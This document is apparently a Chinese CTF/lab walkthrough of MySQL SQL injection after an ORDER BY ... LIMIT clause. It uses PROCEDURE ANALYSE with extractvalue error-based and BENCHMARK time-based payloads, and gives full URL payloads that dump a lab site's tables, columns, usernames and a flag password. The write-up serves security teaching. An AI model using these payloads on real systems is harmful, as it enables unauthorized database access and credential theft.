SQL语句类似下面这样:(此方法仅适用于5.0.0
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)
问题的关键在于,语句中有 order by 关键字,mysql 中在 order by 前面可以使用 union 关键字,所以如果注入点前面没有 order by 关键字,就可以使用 union 关键字,但是现在的情况是,注入点前面有 order by 关键字。
我们先看看 mysql 5.x 的文档中的 select 的语法:
1 SELECT
2 [ALL | DISTINCT | DISTINCTROW]
3 [HIGH_PRIORITY]
4 [STRAIGHT_JOIN]
5 [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
6 [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
7 select_expr [, select_expr ...]
8 [FROM table_references
9 [WHERE where_condition]
10 [GROUP BY {col_name | expr | position}
11 [ASC | DESC], ... [WITH ROLLUP]]12 [HAVING where_condition]
13 [ORDER BY {col_name | expr | position}
14 [ASC | DESC], ...]15 [LIMIT {[offset,] row_count |row_count OFFSET offset}]16 [PROCEDURE procedure_name(argument_list)]
17 [INTO OUTFILE 'file_name' export_options
18 | INTO DUMPFILE 'file_name'
19 | INTO var_name [, var_name]]20 [FOR UPDATE | LOCK IN SHARE MODE]]
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE。
尝试用这个存储过程:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
ERROR1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支持两个参数,试试两个参数:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
ERROR1386 (HY000): Can't use ORDER clause with this procedure
在 ANALYSE 中插入 sql 语句,sleep 没有被执行,可以使用报错注入:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
1.使用 PROCEDURE ANALYSE:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0%20PROCEDURE%20ANALYSE(1)%23&num=1Can't use ORDER clause with this procedure
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
2.使用报错注入爆表:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=8&num=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))),1)%23XPATH syntax error:':article,user'Warning: mysql_fetch_row() expects parameter1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到表名:article,user
3.爆列:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x61727469636c65))),1)%23%20&num=100%20%23XPATH syntax error:':id,title,contents,isread'Warning: mysql_fetch_row() expects parameter1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到article表的列名:id,title,contents,isread
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)%23%20&num=100%20%23XPATH syntax error:':id,username,password,lastloginI'Warning: mysql_fetch_row() expects parameter1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
同样得到user表的列名:id,username,password,lastloginI
4.爆字段:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(username)%20from%20user))),1)%23%20&num=1XPATH syntax error:':user,admin,flag'Warning: mysql_fetch_row() expects parameter1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
通过查询user表的username列,发现其中有一个字段是flag,那么直接读取flag字段的内容就可以了:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6%20procedure%20analyse(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user%20where%20username=0x666c6167))),1)%23%20&num=1XPATH syntax error:':myflagishere'Warning: mysql_fetch_row() expects parameter1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
得到flag:myflagishere